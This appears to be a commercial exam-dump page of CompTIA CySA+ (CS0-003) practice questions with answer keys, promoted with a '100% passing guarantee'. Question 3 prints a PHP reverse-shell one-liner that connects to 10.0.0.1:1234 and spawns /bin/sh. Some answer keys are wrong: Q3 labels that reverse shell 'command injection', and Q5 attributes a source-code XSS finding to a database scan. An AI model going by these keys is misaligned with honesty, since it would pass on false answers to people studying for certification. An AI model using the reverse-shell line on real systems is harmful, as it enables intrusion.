CS0-003 Q&As

CompTIA Cybersecurity Analyst (CySA+)

Pass CompTIA CS0-003 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.passapply.com/cs0-003.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

QUESTION 1

Which of the following should be updated after a lessons-learned review?

A. Disaster recovery plan

B. Business continuity plan

C. Tabletop exercise

D. Incident response plan

Correct Answer: D

Explanation: A lessons-learned review is a process of evaluating the effectiveness and efficiency of the incident response plan after an incident or an exercise. The purpose of the review is to identify the strengths and weaknesses of the incident response plan, and to update it accordingly to improve the future performance and resilience of the organization. Therefore, the incident response plan should be updated after a lessons-learned review. References: The answer was based on the NCSC CAF guidance from the National Cyber Security Centre, which states: "You should use post-incident and post-exercise reviews to actively reduce the risks associated with the same, or similar, incidents happening in future. Lessons learned can inform any aspect of your cyber security, including: System configuration Security monitoring and reporting Investigation procedures Containment/recovery strategies"

QUESTION 2

A vulnerability scanner generates the following output: The company has an SLA for patching that requires time frames to be met for high-risk vulnerabilities. Which of the following should the analyst prioritize first for remediation?

IP address	Name
10.12.2.40	SSL Certificate Cannot Be Trusted
10.16.2.52	Redis Server Unprotected by Password Authentication
10.100.26.60	Cisco Webex Meetings Scheduled Meeting Template Deletion
10.14.0.15	SMB Signing not required
10.12.2.40	SSL Self-Signed Certificate
172.27.2.153	Sysinternals PsExec Elevation of Privilege (CVE-2021-1733)
172.27.2.153	Oracle Java JDK / JRE 6 < Update 30 Multiple Vulnerabilities

Vulnerability state	CVSS	Age
New	6.4	13 days
Active	7.5	43 days
Resurfaced	6	701 days
Active	5	25 days
New	6.4	13 days
Resurfaced	4.6	435 days
Resurfaced	10	4 days

A. Oracle JDK

B. Cisco Webex

C. Redis Server

D. SSL Self-signed Certificate

Correct Answer: A

QUESTION 3

While reviewing web server logs, a security analyst discovers the following suspicious line:

```
php -r '$socket=fsockopen("10.0.0.1", 1234); passthru("/bin/sh -i <&3 >&3 2>&3");'
```

Which of the following is being attempted?

A. Remote file inclusion

B. Command injection

C. Server-side request forgery

D. Reverse shell

Correct Answer: B

Explanation: The suspicious line in the web server logs is an attempt to execute a command on the server, indicating a command injection attack.References: CompTIA CySA+ Study Guide: S0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

QUESTION 4

A penetration tester submitted data to a form in a web application, which enabled the penetration tester to retrieve user credentials. Which of the following should be recommended for remediation of this application vulnerability?

A. Implementing multifactor authentication on the server OS

B. Hashing user passwords on the web application

C. Performing input validation before allowing submission

D. Segmenting the network between the users and the web server

Correct Answer: C

Input validation is a critical security measure to prevent various types of web application attacks, including SQL injection, cross-site scripting (XSS), and data manipulation. It helps ensure that user inputs are sanitized and do not contain malicious or unexpected data.

QUESTION 5

An analyst is reviewing the following output:

```
if (searchname != null)
 {
  %>
     employee <%searchname%> not found
  <%
 }
```

Vulnerability found: Improper neutralization of script-related HTML tag Which of the following was most likely used to discover this?

A. Reverse engineering using a debugger

B. A static analysis vulnerability scan

C. A passive vulnerability scan

D. A database vulnerability scan

Correct Answer: D